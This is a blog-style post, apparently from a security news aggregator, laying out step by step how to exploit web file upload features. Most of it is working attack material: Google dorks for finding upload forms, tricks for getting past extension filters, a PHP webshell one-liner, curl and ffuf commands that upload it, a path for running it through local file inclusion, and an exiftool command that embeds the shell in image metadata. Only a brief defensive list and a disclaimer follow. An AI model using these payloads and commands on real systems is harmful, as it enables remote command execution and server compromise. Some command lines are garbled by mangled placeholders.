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File upload functionalities are common targets for threat actors looking to exploit vulnerabilities. A simple Google dork like `”Please upload your CV below”` can reveal numerous endpoints where attackers might attempt to upload malicious files.
You Should Know:
Common File Upload Exploits
Attackers often abuse file upload features to:
- Upload webshells (e.g., PHP, ASP, JSP backdoors)
- Deploy ransomware or malware
- Conduct Server-Side Request Forgery (SSRF) attacks
- Bypass file type restrictions
Practical Exploitation Steps
1. Identifying Vulnerable Endpoints
Use Google Dorks to find upload forms:
inurl:/upload.php intitle:"Upload your resume" filetype:php inurl:upload
2. Bypassing File Restrictions
If the server checks file extensions, try:
- Double Extensions: `shell.php.jpg`
- Null Byte Injection: `shell.php%00.jpg`
- Case Manipulation: `shell.PHp`
3. Uploading a Webshell
A basic PHP webshell:
<?php system($_GET['cmd']); ?>
Upload and execute commands via:
http://target.com/uploads/shell.php?cmd=id
4. Automating with cURL
Upload via command line:
curl -X POST -F "[email protected]" http://target.com/upload.php
5. Checking for LFI/RFI
If direct execution fails, check for Local/Remote File Inclusion:
http://target.com/index.php?page=../../uploads/shell.php
Defensive Measures
- Restrict allowed file types (whitelist, not blacklist)
- Rename uploaded files
- Store uploads outside the web root
- Use malware scanning
What Undercode Say
File upload vulnerabilities remain a critical attack vector. Threat actors continuously refine techniques to bypass security controls. Defenders must implement strict validation, monitoring, and least-privilege principles.
Related Commands & Tools
- FFUF for Bruteforcing Uploads:
ffuf -u http://target.com/upload.php -X POST -F "[email protected]" -w wordlist.txt
- ExifTool for Metadata Injection:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
- Linux File Type Check:
file uploaded_file
- Windows Defender Scan:
Get-MpThreatDetection | Where-Object { $_.InitialDetectionTime -gt (Get-Date).AddDays(-1) }
Expected Output:
A list of exploitable endpoints or successful webshell upload confirmation.
Note: This content is for educational purposes only. Unauthorized testing is illegal.
References:
Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
